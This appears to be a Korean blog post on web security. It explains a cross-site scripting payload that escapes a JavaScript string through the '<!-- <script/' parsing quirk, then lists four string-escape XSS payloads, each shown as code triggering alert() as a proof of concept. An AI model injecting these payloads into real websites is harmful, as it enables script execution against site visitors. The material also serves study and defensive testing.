오늘 오후쯤 신기한 페이로드를 하나 찾아서 메모해뒀다가 글로 작성해봅니다.
자바스크립트 내부에 코드가 삽입되었지만 문자열을 탈출할 수 없을 때 사용할 수 있으며 이런 형태의 패턴이 들어가는 곳도 은근히 있을 것 같습니다.


XSS Payload

@_zulln이 최근에 신기한 XSS 페이로드를 하나 공개했습니다.
https://twitter.com/_zulln/status/1147188307484446725

<script>
  var test = "injection <!-- <script/";
</script>

<img src="</script><script>alert(origin)</script>">

눈으로 보기엔, test 변수에 injection <!-- <script/ 값만 들어갈 것 같지만, 실제로 동작 시 닫는 스크립트가(</script>) 무시되며 이를 이용해서 자바스크립트 내부에서 문자열 구간을 탈출하여 구문을 실행할 수 있습니다.

소스보기 하이라이팅도 저렇게 표기하네.. 신기



음.. 원리는 솔직히 모르겠습니다.

추측컨테, <!-- 로 인해서 뒤의 처리를 무시하려는 것 같은데, 정상적인 문법은 아닌지라 그냥 브라우저상의 처리 오류라고 보는게 어떨까 싶습니다. 물론… 크롬, 파폭 모두 트리거 되는걸 보아 근본적인 공통 문제가 있지 않나 싶네요..

Escape double quote(String) in Javascript

겸사겸사 자바스크립트 내부에서의 문자열 탈출 방법도 몇개 같이 써 봅니다.

1. with <!-- <script/
<script>
  var test = "injection <!-- <script/";
</script>

<img src="</script><script>alert(origin)</script>">

2. with </script>
<script>
  var test = "</script><svg/onload=alert(45)>"
</script>

3. with double quot and plus
<script>
  var test = ""+alert(45)+""
  // user input: "+alert(45)+"
</script>

4. with backslash
<script>
  var test = "\", test1="+alert(45)//input2"
  // Original: var test = "input1", test1="input2"
  // user input1: \
  // user input2: +alert(45)//
</script>

댓글 2개:

  1. 답글
    1. I'm not sure how it works. I think it's just a that works like that in browser.
      I think it's useful if there's more than 2 of reflection params on the page.

      cheers!

      삭제